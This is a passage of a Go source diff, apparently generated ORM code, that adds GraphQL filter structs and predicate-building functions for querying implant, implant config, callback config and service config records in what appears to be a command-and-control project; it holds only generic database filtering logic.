`json:"processnameNEQ,omitempty"` + ProcessNameIn []string `json:"processnameIn,omitempty"` + ProcessNameNotIn []string `json:"processnameNotIn,omitempty"` + ProcessNameGT *string `json:"processnameGT,omitempty"` + ProcessNameGTE *string `json:"processnameGTE,omitempty"` + ProcessNameLT *string `json:"processnameLT,omitempty"` + ProcessNameLTE *string `json:"processnameLTE,omitempty"` + ProcessNameContains *string `json:"processnameContains,omitempty"` + ProcessNameHasPrefix *string `json:"processnameHasPrefix,omitempty"` + ProcessNameHasSuffix *string `json:"processnameHasSuffix,omitempty"` + ProcessNameIsNil bool `json:"processnameIsNil,omitempty"` + ProcessNameNotNil bool `json:"processnameNotNil,omitempty"` + ProcessNameEqualFold *string `json:"processnameEqualFold,omitempty"` + ProcessNameContainsFold *string `json:"processnameContainsFold,omitempty"` + + // "target" edge predicates. + HasTarget *bool `json:"hasTarget,omitempty"` + HasTargetWith []*TargetWhereInput `json:"hasTargetWith,omitempty"` + + // "config" edge predicates. + HasConfig *bool `json:"hasConfig,omitempty"` + HasConfigWith []*ImplantConfigWhereInput `json:"hasConfigWith,omitempty"` +} + +// Filter applies the ImplantWhereInput filter on the ImplantQuery builder. +func (i *ImplantWhereInput) Filter(q *ImplantQuery) (*ImplantQuery, error) { + if i == nil { + return q, nil + } + p, err := i.P() + if err != nil { + return nil, err + } + return q.Where(p), nil +} + +// P returns a predicate for filtering implants. +// An error is returned if the input is empty or invalid. +func (i *ImplantWhereInput) P() (predicate.Implant, error) { + var predicates []predicate.Implant + if i.Not != nil { + p, err := i.Not.P() + if err != nil { + return nil, err + } + predicates = append(predicates, implant.Not(p)) + } + switch n := len(i.Or); { + case n == 1: + p, err := i.Or[0].P() + if err != nil { + return nil, err + } + predicates = append(predicates, p) + case n > 1: + or := make([]predicate.Implant, 0, n) + for _, w := range i.Or { + p, err := w.P() + if err != nil { + return nil, err + } + or = append(or, p) + } + predicates = append(predicates, implant.Or(or...)) + } + switch n := len(i.And); { + case n == 1: + p, err := i.And[0].P() + if err != nil { + return nil, err + } + predicates = append(predicates, p) + case n > 1: + and := make([]predicate.Implant, 0, n) + for _, w := range i.And { + p, err := w.P() + if err != nil { + return nil, err + } + and = append(and, p) + } + predicates = append(predicates, implant.And(and...)) + } + if i.ID != nil { + predicates = append(predicates, implant.IDEQ(*i.ID)) + } + if i.IDNEQ != nil { + predicates = append(predicates, implant.IDNEQ(*i.IDNEQ)) + } + if len(i.IDIn) > 0 { + predicates = append(predicates, implant.IDIn(i.IDIn...)) + } + if len(i.IDNotIn) > 0 { + predicates = append(predicates, implant.IDNotIn(i.IDNotIn...)) + } + if i.IDGT != nil { + predicates = append(predicates, implant.IDGT(*i.IDGT)) + } + if i.IDGTE != nil { + predicates = append(predicates, implant.IDGTE(*i.IDGTE)) + } + if i.IDLT != nil { + predicates = append(predicates, implant.IDLT(*i.IDLT)) + } + if i.IDLTE != nil { + predicates = append(predicates, implant.IDLTE(*i.IDLTE)) + } + if i.SessionID != nil { + predicates = append(predicates, implant.SessionIDEQ(*i.SessionID)) + } + if i.SessionIDNEQ != nil { + predicates = append(predicates, implant.SessionIDNEQ(*i.SessionIDNEQ)) + } + if len(i.SessionIDIn) > 0 { + predicates = append(predicates, implant.SessionIDIn(i.SessionIDIn...)) + } + if len(i.SessionIDNotIn) > 0 { + predicates = append(predicates, implant.SessionIDNotIn(i.SessionIDNotIn...)) + } + if i.SessionIDGT != nil { + predicates = append(predicates, implant.SessionIDGT(*i.SessionIDGT)) + } + if i.SessionIDGTE != nil { + predicates = append(predicates, implant.SessionIDGTE(*i.SessionIDGTE)) + } + if i.SessionIDLT != nil { + predicates = append(predicates, implant.SessionIDLT(*i.SessionIDLT)) + } + if i.SessionIDLTE != nil { + predicates = append(predicates, implant.SessionIDLTE(*i.SessionIDLTE)) + } + if i.SessionIDContains != nil { + predicates = append(predicates, implant.SessionIDContains(*i.SessionIDContains)) + } + if i.SessionIDHasPrefix != nil { + predicates = append(predicates, implant.SessionIDHasPrefix(*i.SessionIDHasPrefix)) + } + if i.SessionIDHasSuffix != nil { + predicates = append(predicates, implant.SessionIDHasSuffix(*i.SessionIDHasSuffix)) + } + if i.SessionIDEqualFold != nil { + predicates = append(predicates, implant.SessionIDEqualFold(*i.SessionIDEqualFold)) + } + if i.SessionIDContainsFold != nil { + predicates = append(predicates, implant.SessionIDContainsFold(*i.SessionIDContainsFold)) + } + if i.ProcessName != nil { + predicates = append(predicates, implant.ProcessNameEQ(*i.ProcessName)) + } + if i.ProcessNameNEQ != nil { + predicates = append(predicates, implant.ProcessNameNEQ(*i.ProcessNameNEQ)) + } + if len(i.ProcessNameIn) > 0 { + predicates = append(predicates, implant.ProcessNameIn(i.ProcessNameIn...)) + } + if len(i.ProcessNameNotIn) > 0 { + predicates = append(predicates, implant.ProcessNameNotIn(i.ProcessNameNotIn...)) + } + if i.ProcessNameGT != nil { + predicates = append(predicates, implant.ProcessNameGT(*i.ProcessNameGT)) + } + if i.ProcessNameGTE != nil { + predicates = append(predicates, implant.ProcessNameGTE(*i.ProcessNameGTE)) + } + if i.ProcessNameLT != nil { + predicates = append(predicates, implant.ProcessNameLT(*i.ProcessNameLT)) + } + if i.ProcessNameLTE != nil { + predicates = append(predicates, implant.ProcessNameLTE(*i.ProcessNameLTE)) + } + if i.ProcessNameContains != nil { + predicates = append(predicates, implant.ProcessNameContains(*i.ProcessNameContains)) + } + if i.ProcessNameHasPrefix != nil { + predicates = append(predicates, implant.ProcessNameHasPrefix(*i.ProcessNameHasPrefix)) + } + if i.ProcessNameHasSuffix != nil { + predicates = append(predicates, implant.ProcessNameHasSuffix(*i.ProcessNameHasSuffix)) + } + if i.ProcessNameIsNil { + predicates = append(predicates, implant.ProcessNameIsNil()) + } + if i.ProcessNameNotNil { + predicates = append(predicates, implant.ProcessNameNotNil()) + } + if i.ProcessNameEqualFold != nil { + predicates = append(predicates, implant.ProcessNameEqualFold(*i.ProcessNameEqualFold)) + } + if i.ProcessNameContainsFold != nil { + predicates = append(predicates, implant.ProcessNameContainsFold(*i.ProcessNameContainsFold)) + } + + if i.HasTarget != nil { + p := implant.HasTarget() + if !*i.HasTarget { + p = implant.Not(p) + } + predicates = append(predicates, p) + } + if len(i.HasTargetWith) > 0 { + with := make([]predicate.Target, 0, len(i.HasTargetWith)) + for _, w := range i.HasTargetWith { + p, err := w.P() + if err != nil { + return nil, err + } + with = append(with, p) + } + predicates = append(predicates, implant.HasTargetWith(with...)) + } + if i.HasConfig != nil { + p := implant.HasConfig() + if !*i.HasConfig { + p = implant.Not(p) + } + predicates = append(predicates, p) + } + if len(i.HasConfigWith) > 0 { + with := make([]predicate.ImplantConfig, 0, len(i.HasConfigWith)) + for _, w := range i.HasConfigWith { + p, err := w.P() + if err != nil { + return nil, err + } + with = append(with, p) + } + predicates = append(predicates, implant.HasConfigWith(with...)) + } + switch len(predicates) { + case 0: + return nil, fmt.Errorf("github.com/kcarretto/realm/ent: empty predicate ImplantWhereInput") + case 1: + return predicates[0], nil + default: + return implant.And(predicates...), nil + } +} + +// ImplantCallbackConfigWhereInput represents a where input for filtering ImplantCallbackConfig queries. +type ImplantCallbackConfigWhereInput struct { + Not *ImplantCallbackConfigWhereInput `json:"not,omitempty"` + Or []*ImplantCallbackConfigWhereInput `json:"or,omitempty"` + And []*ImplantCallbackConfigWhereInput `json:"and,omitempty"` + + // "id" field predicates. + ID *int `json:"id,omitempty"` + IDNEQ *int `json:"idNEQ,omitempty"` + IDIn []int `json:"idIn,omitempty"` + IDNotIn []int `json:"idNotIn,omitempty"` + IDGT *int `json:"idGT,omitempty"` + IDGTE *int `json:"idGTE,omitempty"` + IDLT *int `json:"idLT,omitempty"` + IDLTE *int `json:"idLTE,omitempty"` + + // "uri" field predicates. + URI *string `json:"uri,omitempty"` + URINEQ *string `json:"uriNEQ,omitempty"` + URIIn []string `json:"uriIn,omitempty"` + URINotIn []string `json:"uriNotIn,omitempty"` + URIGT *string `json:"uriGT,omitempty"` + URIGTE *string `json:"uriGTE,omitempty"` + URILT *string `json:"uriLT,omitempty"` + URILTE *string `json:"uriLTE,omitempty"` + URIContains *string `json:"uriContains,omitempty"` + URIHasPrefix *string `json:"uriHasPrefix,omitempty"` + URIHasSuffix *string `json:"uriHasSuffix,omitempty"` + URIEqualFold *string `json:"uriEqualFold,omitempty"` + URIContainsFold *string `json:"uriContainsFold,omitempty"` + + // "priority" field predicates. + Priority *int `json:"priority,omitempty"` + PriorityNEQ *int `json:"priorityNEQ,omitempty"` + PriorityIn []int `json:"priorityIn,omitempty"` + PriorityNotIn []int `json:"priorityNotIn,omitempty"` + PriorityGT *int `json:"priorityGT,omitempty"` + PriorityGTE *int `json:"priorityGTE,omitempty"` + PriorityLT *int `json:"priorityLT,omitempty"` + PriorityLTE *int `json:"priorityLTE,omitempty"` + + // "timeout" field predicates. + Timeout *int `json:"timeout,omitempty"` + TimeoutNEQ *int `json:"timeoutNEQ,omitempty"` + TimeoutIn []int `json:"timeoutIn,omitempty"` + TimeoutNotIn []int `json:"timeoutNotIn,omitempty"` + TimeoutGT *int `json:"timeoutGT,omitempty"` + TimeoutGTE *int `json:"timeoutGTE,omitempty"` + TimeoutLT *int `json:"timeoutLT,omitempty"` + TimeoutLTE *int `json:"timeoutLTE,omitempty"` + + // "interval" field predicates. + Interval *int `json:"interval,omitempty"` + IntervalNEQ *int `json:"intervalNEQ,omitempty"` + IntervalIn []int `json:"intervalIn,omitempty"` + IntervalNotIn []int `json:"intervalNotIn,omitempty"` + IntervalGT *int `json:"intervalGT,omitempty"` + IntervalGTE *int `json:"intervalGTE,omitempty"` + IntervalLT *int `json:"intervalLT,omitempty"` + IntervalLTE *int `json:"intervalLTE,omitempty"` + + // "jitter" field predicates. + Jitter *int `json:"jitter,omitempty"` + JitterNEQ *int `json:"jitterNEQ,omitempty"` + JitterIn []int `json:"jitterIn,omitempty"` + JitterNotIn []int `json:"jitterNotIn,omitempty"` + JitterGT *int `json:"jitterGT,omitempty"` + JitterGTE *int `json:"jitterGTE,omitempty"` + JitterLT *int `json:"jitterLT,omitempty"` + JitterLTE *int `json:"jitterLTE,omitempty"` + + // "implantConfigs" edge predicates. + HasImplantConfigs *bool `json:"hasImplantConfigs,omitempty"` + HasImplantConfigsWith []*ImplantConfigWhereInput `json:"hasImplantConfigsWith,omitempty"` +} + +// Filter applies the ImplantCallbackConfigWhereInput filter on the ImplantCallbackConfigQuery builder. +func (i *ImplantCallbackConfigWhereInput) Filter(q *ImplantCallbackConfigQuery) (*ImplantCallbackConfigQuery, error) { + if i == nil { + return q, nil + } + p, err := i.P() + if err != nil { + return nil, err + } + return q.Where(p), nil +} + +// P returns a predicate for filtering implantcallbackconfigs. +// An error is returned if the input is empty or invalid. +func (i *ImplantCallbackConfigWhereInput) P() (predicate.ImplantCallbackConfig, error) { + var predicates []predicate.ImplantCallbackConfig + if i.Not != nil { + p, err := i.Not.P() + if err != nil { + return nil, err + } + predicates = append(predicates, implantcallbackconfig.Not(p)) + } + switch n := len(i.Or); { + case n == 1: + p, err := i.Or[0].P() + if err != nil { + return nil, err + } + predicates = append(predicates, p) + case n > 1: + or := make([]predicate.ImplantCallbackConfig, 0, n) + for _, w := range i.Or { + p, err := w.P() + if err != nil { + return nil, err + } + or = append(or, p) + } + predicates = append(predicates, implantcallbackconfig.Or(or...)) + } + switch n := len(i.And); { + case n == 1: + p, err := i.And[0].P() + if err != nil { + return nil, err + } + predicates = append(predicates, p) + case n > 1: + and := make([]predicate.ImplantCallbackConfig, 0, n) + for _, w := range i.And { + p, err := w.P() + if err != nil { + return nil, err + } + and = append(and, p) + } + predicates = append(predicates, implantcallbackconfig.And(and...)) + } + if i.ID != nil { + predicates = append(predicates, implantcallbackconfig.IDEQ(*i.ID)) + } + if i.IDNEQ != nil { + predicates = append(predicates, implantcallbackconfig.IDNEQ(*i.IDNEQ)) + } + if len(i.IDIn) > 0 { + predicates = append(predicates, implantcallbackconfig.IDIn(i.IDIn...)) + } + if len(i.IDNotIn) > 0 { + predicates = append(predicates, implantcallbackconfig.IDNotIn(i.IDNotIn...)) + } + if i.IDGT != nil { + predicates = append(predicates, implantcallbackconfig.IDGT(*i.IDGT)) + } + if i.IDGTE != nil { + predicates = append(predicates, implantcallbackconfig.IDGTE(*i.IDGTE)) + } + if i.IDLT != nil { + predicates = append(predicates, implantcallbackconfig.IDLT(*i.IDLT)) + } + if i.IDLTE != nil { + predicates = append(predicates, implantcallbackconfig.IDLTE(*i.IDLTE)) + } + if i.URI != nil { + predicates = append(predicates, implantcallbackconfig.URIEQ(*i.URI)) + } + if i.URINEQ != nil { + predicates = append(predicates, implantcallbackconfig.URINEQ(*i.URINEQ)) + } + if len(i.URIIn) > 0 { + predicates = append(predicates, implantcallbackconfig.URIIn(i.URIIn...)) + } + if len(i.URINotIn) > 0 { + predicates = append(predicates, implantcallbackconfig.URINotIn(i.URINotIn...)) + } + if i.URIGT != nil { + predicates = append(predicates, implantcallbackconfig.URIGT(*i.URIGT)) + } + if i.URIGTE != nil { + predicates = append(predicates, implantcallbackconfig.URIGTE(*i.URIGTE)) + } + if i.URILT != nil { + predicates = append(predicates, implantcallbackconfig.URILT(*i.URILT)) + } + if i.URILTE != nil { + predicates = append(predicates, implantcallbackconfig.URILTE(*i.URILTE)) + } + if i.URIContains != nil { + predicates = append(predicates, implantcallbackconfig.URIContains(*i.URIContains)) + } + if i.URIHasPrefix != nil { + predicates = append(predicates, implantcallbackconfig.URIHasPrefix(*i.URIHasPrefix)) + } + if i.URIHasSuffix != nil { + predicates = append(predicates, implantcallbackconfig.URIHasSuffix(*i.URIHasSuffix)) + } + if i.URIEqualFold != nil { + predicates = append(predicates, implantcallbackconfig.URIEqualFold(*i.URIEqualFold)) + } + if i.URIContainsFold != nil { + predicates = append(predicates, implantcallbackconfig.URIContainsFold(*i.URIContainsFold)) + } + if i.Priority != nil { + predicates = append(predicates, implantcallbackconfig.PriorityEQ(*i.Priority)) + } + if i.PriorityNEQ != nil { + predicates = append(predicates, implantcallbackconfig.PriorityNEQ(*i.PriorityNEQ)) + } + if len(i.PriorityIn) > 0 { + predicates = append(predicates, implantcallbackconfig.PriorityIn(i.PriorityIn...)) + } + if len(i.PriorityNotIn) > 0 { + predicates = append(predicates, implantcallbackconfig.PriorityNotIn(i.PriorityNotIn...)) + } + if i.PriorityGT != nil { + predicates = append(predicates, implantcallbackconfig.PriorityGT(*i.PriorityGT)) + } + if i.PriorityGTE != nil { + predicates = append(predicates, implantcallbackconfig.PriorityGTE(*i.PriorityGTE)) + } + if i.PriorityLT != nil { + predicates = append(predicates, implantcallbackconfig.PriorityLT(*i.PriorityLT)) + } + if i.PriorityLTE != nil { + predicates = append(predicates, implantcallbackconfig.PriorityLTE(*i.PriorityLTE)) + } + if i.Timeout != nil { + predicates = append(predicates, implantcallbackconfig.TimeoutEQ(*i.Timeout)) + } + if i.TimeoutNEQ != nil { + predicates = append(predicates, implantcallbackconfig.TimeoutNEQ(*i.TimeoutNEQ)) + } + if len(i.TimeoutIn) > 0 { + predicates = append(predicates, implantcallbackconfig.TimeoutIn(i.TimeoutIn...)) + } + if len(i.TimeoutNotIn) > 0 { + predicates = append(predicates, implantcallbackconfig.TimeoutNotIn(i.TimeoutNotIn...)) + } + if i.TimeoutGT != nil { + predicates = append(predicates, implantcallbackconfig.TimeoutGT(*i.TimeoutGT)) + } + if i.TimeoutGTE != nil { + predicates = append(predicates, implantcallbackconfig.TimeoutGTE(*i.TimeoutGTE)) + } + if i.TimeoutLT != nil { + predicates = append(predicates, implantcallbackconfig.TimeoutLT(*i.TimeoutLT)) + } + if i.TimeoutLTE != nil { + predicates = append(predicates, implantcallbackconfig.TimeoutLTE(*i.TimeoutLTE)) + } + if i.Interval != nil { + predicates = append(predicates, implantcallbackconfig.IntervalEQ(*i.Interval)) + } + if i.IntervalNEQ != nil { + predicates = append(predicates, implantcallbackconfig.IntervalNEQ(*i.IntervalNEQ)) + } + if len(i.IntervalIn) > 0 { + predicates = append(predicates, implantcallbackconfig.IntervalIn(i.IntervalIn...)) + } + if len(i.IntervalNotIn) > 0 { + predicates = append(predicates, implantcallbackconfig.IntervalNotIn(i.IntervalNotIn...)) + } + if i.IntervalGT != nil { + predicates = append(predicates, implantcallbackconfig.IntervalGT(*i.IntervalGT)) + } + if i.IntervalGTE != nil { + predicates = append(predicates, implantcallbackconfig.IntervalGTE(*i.IntervalGTE)) + } + if i.IntervalLT != nil { + predicates = append(predicates, implantcallbackconfig.IntervalLT(*i.IntervalLT)) + } + if i.IntervalLTE != nil { + predicates = append(predicates, implantcallbackconfig.IntervalLTE(*i.IntervalLTE)) + } + if i.Jitter != nil { + predicates = append(predicates, implantcallbackconfig.JitterEQ(*i.Jitter)) + } + if i.JitterNEQ != nil { + predicates = append(predicates, implantcallbackconfig.JitterNEQ(*i.JitterNEQ)) + } + if len(i.JitterIn) > 0 { + predicates = append(predicates, implantcallbackconfig.JitterIn(i.JitterIn...)) + } + if len(i.JitterNotIn) > 0 { + predicates = append(predicates, implantcallbackconfig.JitterNotIn(i.JitterNotIn...)) + } + if i.JitterGT != nil { + predicates = append(predicates, implantcallbackconfig.JitterGT(*i.JitterGT)) + } + if i.JitterGTE != nil { + predicates = append(predicates, implantcallbackconfig.JitterGTE(*i.JitterGTE)) + } + if i.JitterLT != nil { + predicates = append(predicates, implantcallbackconfig.JitterLT(*i.JitterLT)) + } + if i.JitterLTE != nil { + predicates = append(predicates, implantcallbackconfig.JitterLTE(*i.JitterLTE)) + } + + if i.HasImplantConfigs != nil { + p := implantcallbackconfig.HasImplantConfigs() + if !*i.HasImplantConfigs { + p = implantcallbackconfig.Not(p) + } + predicates = append(predicates, p) + } + if len(i.HasImplantConfigsWith) > 0 { + with := make([]predicate.ImplantConfig, 0, len(i.HasImplantConfigsWith)) + for _, w := range i.HasImplantConfigsWith { + p, err := w.P() + if err != nil { + return nil, err + } + with = append(with, p) + } + predicates = append(predicates, implantcallbackconfig.HasImplantConfigsWith(with...)) + } + switch len(predicates) { + case 0: + return nil, fmt.Errorf("github.com/kcarretto/realm/ent: empty predicate ImplantCallbackConfigWhereInput") + case 1: + return predicates[0], nil + default: + return implantcallbackconfig.And(predicates...), nil + } +} + +// ImplantConfigWhereInput represents a where input for filtering ImplantConfig queries. +type ImplantConfigWhereInput struct { + Not *ImplantConfigWhereInput `json:"not,omitempty"` + Or []*ImplantConfigWhereInput `json:"or,omitempty"` + And []*ImplantConfigWhereInput `json:"and,omitempty"` + + // "id" field predicates. + ID *int `json:"id,omitempty"` + IDNEQ *int `json:"idNEQ,omitempty"` + IDIn []int `json:"idIn,omitempty"` + IDNotIn []int `json:"idNotIn,omitempty"` + IDGT *int `json:"idGT,omitempty"` + IDGTE *int `json:"idGTE,omitempty"` + IDLT *int `json:"idLT,omitempty"` + IDLTE *int `json:"idLTE,omitempty"` + + // "name" field predicates. + Name *string `json:"name,omitempty"` + NameNEQ *string `json:"nameNEQ,omitempty"` + NameIn []string `json:"nameIn,omitempty"` + NameNotIn []string `json:"nameNotIn,omitempty"` + NameGT *string `json:"nameGT,omitempty"` + NameGTE *string `json:"nameGTE,omitempty"` + NameLT *string `json:"nameLT,omitempty"` + NameLTE *string `json:"nameLTE,omitempty"` + NameContains *string `json:"nameContains,omitempty"` + NameHasPrefix *string `json:"nameHasPrefix,omitempty"` + NameHasSuffix *string `json:"nameHasSuffix,omitempty"` + NameEqualFold *string `json:"nameEqualFold,omitempty"` + NameContainsFold *string `json:"nameContainsFold,omitempty"` + + // "authToken" field predicates. + AuthToken *string `json:"authtoken,omitempty"` + AuthTokenNEQ *string `json:"authtokenNEQ,omitempty"` + AuthTokenIn []string `json:"authtokenIn,omitempty"` + AuthTokenNotIn []string `json:"authtokenNotIn,omitempty"` + AuthTokenGT *string `json:"authtokenGT,omitempty"` + AuthTokenGTE *string `json:"authtokenGTE,omitempty"` + AuthTokenLT *string `json:"authtokenLT,omitempty"` + AuthTokenLTE *string `json:"authtokenLTE,omitempty"` + AuthTokenContains *string `json:"authtokenContains,omitempty"` + AuthTokenHasPrefix *string `json:"authtokenHasPrefix,omitempty"` + AuthTokenHasSuffix *string `json:"authtokenHasSuffix,omitempty"` + AuthTokenEqualFold *string `json:"authtokenEqualFold,omitempty"` + AuthTokenContainsFold *string `json:"authtokenContainsFold,omitempty"` + + // "implants" edge predicates. + HasImplants *bool `json:"hasImplants,omitempty"` + HasImplantsWith []*ImplantWhereInput `json:"hasImplantsWith,omitempty"` + + // "serviceConfigs" edge predicates. + HasServiceConfigs *bool `json:"hasServiceConfigs,omitempty"` + HasServiceConfigsWith []*ImplantServiceConfigWhereInput `json:"hasServiceConfigsWith,omitempty"` + + // "callbackConfigs" edge predicates. + HasCallbackConfigs *bool `json:"hasCallbackConfigs,omitempty"` + HasCallbackConfigsWith []*ImplantCallbackConfigWhereInput `json:"hasCallbackConfigsWith,omitempty"` +} + +// Filter applies the ImplantConfigWhereInput filter on the ImplantConfigQuery builder. +func (i *ImplantConfigWhereInput) Filter(q *ImplantConfigQuery) (*ImplantConfigQuery, error) { + if i == nil { + return q, nil + } + p, err := i.P() + if err != nil { + return nil, err + } + return q.Where(p), nil +} + +// P returns a predicate for filtering implantconfigs. +// An error is returned if the input is empty or invalid. +func (i *ImplantConfigWhereInput) P() (predicate.ImplantConfig, error) { + var predicates []predicate.ImplantConfig + if i.Not != nil { + p, err := i.Not.P() + if err != nil { + return nil, err + } + predicates = append(predicates, implantconfig.Not(p)) + } + switch n := len(i.Or); { + case n == 1: + p, err := i.Or[0].P() + if err != nil { + return nil, err + } + predicates = append(predicates, p) + case n > 1: + or := make([]predicate.ImplantConfig, 0, n) + for _, w := range i.Or { + p, err := w.P() + if err != nil { + return nil, err + } + or = append(or, p) + } + predicates = append(predicates, implantconfig.Or(or...)) + } + switch n := len(i.And); { + case n == 1: + p, err := i.And[0].P() + if err != nil { + return nil, err + } + predicates = append(predicates, p) + case n > 1: + and := make([]predicate.ImplantConfig, 0, n) + for _, w := range i.And { + p, err := w.P() + if err != nil { + return nil, err + } + and = append(and, p) + } + predicates = append(predicates, implantconfig.And(and...)) + } + if i.ID != nil { + predicates = append(predicates, implantconfig.IDEQ(*i.ID)) + } + if i.IDNEQ != nil { + predicates = append(predicates, implantconfig.IDNEQ(*i.IDNEQ)) + } + if len(i.IDIn) > 0 { + predicates = append(predicates, implantconfig.IDIn(i.IDIn...)) + } + if len(i.IDNotIn) > 0 { + predicates = append(predicates, implantconfig.IDNotIn(i.IDNotIn...)) + } + if i.IDGT != nil { + predicates = append(predicates, implantconfig.IDGT(*i.IDGT)) + } + if i.IDGTE != nil { + predicates = append(predicates, implantconfig.IDGTE(*i.IDGTE)) + } + if i.IDLT != nil { + predicates = append(predicates, implantconfig.IDLT(*i.IDLT)) + } + if i.IDLTE != nil { + predicates = append(predicates, implantconfig.IDLTE(*i.IDLTE)) + } + if i.Name != nil { + predicates = append(predicates, implantconfig.NameEQ(*i.Name)) + } + if i.NameNEQ != nil { + predicates = append(predicates, implantconfig.NameNEQ(*i.NameNEQ)) + } + if len(i.NameIn) > 0 { + predicates = append(predicates, implantconfig.NameIn(i.NameIn...)) + } + if len(i.NameNotIn) > 0 { + predicates = append(predicates, implantconfig.NameNotIn(i.NameNotIn...)) + } + if i.NameGT != nil { + predicates = append(predicates, implantconfig.NameGT(*i.NameGT)) + } + if i.NameGTE != nil { + predicates = append(predicates, implantconfig.NameGTE(*i.NameGTE)) + } + if i.NameLT != nil { + predicates = append(predicates, implantconfig.NameLT(*i.NameLT)) + } + if i.NameLTE != nil { + predicates = append(predicates, implantconfig.NameLTE(*i.NameLTE)) + } + if i.NameContains != nil { + predicates = append(predicates, implantconfig.NameContains(*i.NameContains)) + } + if i.NameHasPrefix != nil { + predicates = append(predicates, implantconfig.NameHasPrefix(*i.NameHasPrefix)) + } + if i.NameHasSuffix != nil { + predicates = append(predicates, implantconfig.NameHasSuffix(*i.NameHasSuffix)) + } + if i.NameEqualFold != nil { + predicates = append(predicates, implantconfig.NameEqualFold(*i.NameEqualFold)) + } + if i.NameContainsFold != nil { + predicates = append(predicates, implantconfig.NameContainsFold(*i.NameContainsFold)) + } + if i.AuthToken != nil { + predicates = append(predicates, implantconfig.AuthTokenEQ(*i.AuthToken)) + } + if i.AuthTokenNEQ != nil { + predicates = append(predicates, implantconfig.AuthTokenNEQ(*i.AuthTokenNEQ)) + } + if len(i.AuthTokenIn) > 0 { + predicates = append(predicates, implantconfig.AuthTokenIn(i.AuthTokenIn...)) + } + if len(i.AuthTokenNotIn) > 0 { + predicates = append(predicates, implantconfig.AuthTokenNotIn(i.AuthTokenNotIn...)) + } + if i.AuthTokenGT != nil { + predicates = append(predicates, implantconfig.AuthTokenGT(*i.AuthTokenGT)) + } + if i.AuthTokenGTE != nil { + predicates = append(predicates, implantconfig.AuthTokenGTE(*i.AuthTokenGTE)) + } + if i.AuthTokenLT != nil { + predicates = append(predicates, implantconfig.AuthTokenLT(*i.AuthTokenLT)) + } + if i.AuthTokenLTE != nil { + predicates = append(predicates, implantconfig.AuthTokenLTE(*i.AuthTokenLTE)) + } + if i.AuthTokenContains != nil { + predicates = append(predicates, implantconfig.AuthTokenContains(*i.AuthTokenContains)) + } + if i.AuthTokenHasPrefix != nil { + predicates = append(predicates, implantconfig.AuthTokenHasPrefix(*i.AuthTokenHasPrefix)) + } + if i.AuthTokenHasSuffix != nil { + predicates = append(predicates, implantconfig.AuthTokenHasSuffix(*i.AuthTokenHasSuffix)) + } + if i.AuthTokenEqualFold != nil { + predicates = append(predicates, implantconfig.AuthTokenEqualFold(*i.AuthTokenEqualFold)) + } + if i.AuthTokenContainsFold != nil { + predicates = append(predicates, implantconfig.AuthTokenContainsFold(*i.AuthTokenContainsFold)) + } + + if i.HasImplants != nil { + p := implantconfig.HasImplants() + if !*i.HasImplants { + p = implantconfig.Not(p) + } + predicates = append(predicates, p) + } + if len(i.HasImplantsWith) > 0 { + with := make([]predicate.Implant, 0, len(i.HasImplantsWith)) + for _, w := range i.HasImplantsWith { + p, err := w.P() + if err != nil { + return nil, err + } + with = append(with, p) + } + predicates = append(predicates, implantconfig.HasImplantsWith(with...)) + } + if i.HasServiceConfigs != nil { + p := implantconfig.HasServiceConfigs() + if !*i.HasServiceConfigs { + p = implantconfig.Not(p) + } + predicates = append(predicates, p) + } + if len(i.HasServiceConfigsWith) > 0 { + with := make([]predicate.ImplantServiceConfig, 0, len(i.HasServiceConfigsWith)) + for _, w := range i.HasServiceConfigsWith { + p, err := w.P() + if err != nil { + return nil, err + } + with = append(with, p) + } + predicates = append(predicates, implantconfig.HasServiceConfigsWith(with...)) + } + if i.HasCallbackConfigs != nil { + p := implantconfig.HasCallbackConfigs() + if !*i.HasCallbackConfigs { + p = implantconfig.Not(p) + } + predicates = append(predicates, p) + } + if len(i.HasCallbackConfigsWith) > 0 { + with := make([]predicate.ImplantCallbackConfig, 0, len(i.HasCallbackConfigsWith)) + for _, w := range i.HasCallbackConfigsWith { + p, err := w.P() + if err != nil { + return nil, err + } + with = append(with, p) + } + predicates = append(predicates, implantconfig.HasCallbackConfigsWith(with...)) + } + switch len(predicates) { + case 0: + return nil, fmt.Errorf("github.com/kcarretto/realm/ent: empty predicate ImplantConfigWhereInput") + case 1: + return predicates[0], nil + default: + return implantconfig.And(predicates...), nil + } +} + +// ImplantServiceConfigWhereInput represents a where input for filtering ImplantServiceConfig queries. +type ImplantServiceConfigWhereInput struct { + Not *ImplantServiceConfigWhereInput `json:"not,omitempty"` + Or []*ImplantServiceConfigWhereInput `json:"or,omitempty"` + And []*ImplantServiceConfigWhereInput `json:"and,omitempty"` + + // "id" field predicates. + ID *int `json:"id,omitempty"` + IDNEQ *int `json:"idNEQ,omitempty"` + IDIn []int `json:"idIn,omitempty"` + IDNotIn []int `json:"idNotIn,omitempty"` + IDGT *int `json:"idGT,omitempty"` + IDGTE *int `json:"idGTE,omitempty"` + IDLT *int `json:"idLT,omitempty"` + IDLTE *int `json:"idLTE,omitempty"` + + // "name" field predicates. + Name *string `json:"name,omitempty"` + NameNEQ *string `json:"nameNEQ,omitempty"` + NameIn []string `json:"nameIn,omitempty"` + NameNotIn []string `json:"nameNotIn,omitempty"` + NameGT *string `json:"nameGT,omitempty"` + NameGTE *string `json:"nameGTE,omitempty"` + NameLT *string `json:"nameLT,omitempty"` + NameLTE *string `json:"nameLTE,omitempty"` + NameContains *string `json:"nameContains,omitempty"` + NameHasPrefix *string `json:"nameHasPrefix,omitempty"` + NameHasSuffix *string `json:"nameHasSuffix,omitempty"` + NameEqualFold *string `json:"nameEqualFold,omitempty"` + NameContainsFold *string `json:"nameContainsFold,omitempty"` + + // "description" field predicates. + Description *string `json:"description,omitempty"` + DescriptionNEQ *string `json:"descriptionNEQ,omitempty"` + DescriptionIn []string `json:"descriptionIn,omitempty"` + DescriptionNotIn []string `json:"descriptionNotIn,omitempty"` + DescriptionGT *string `json:"descriptionGT,omitempty"` + DescriptionGTE *string `json:"descriptionGTE,omitempty"` + DescriptionLT *string `json:"descriptionLT,omitempty"` + DescriptionLTE *string `json:"descriptionLTE,omitempty"` + DescriptionContains *string `json:"descriptionContains,omitempty"` + DescriptionHasPrefix *string `json:"descriptionHasPrefix,omitempty"` + DescriptionHasSuffix *string `json:"descriptionHasSuffix,omitempty"` + DescriptionEqualFold *string `json:"descriptionEqualFold,omitempty"` + DescriptionContainsFold *string `json:"descriptionContainsFold,omitempty"` + + // "executablePath" field predicates. + ExecutablePath *string `json:"executablepath,omitempty"` + ExecutablePathNEQ *string `json:"executablepathNEQ,omitempty"` + ExecutablePathIn []string `json:"executablepathIn,omitempty"` + ExecutablePathNotIn 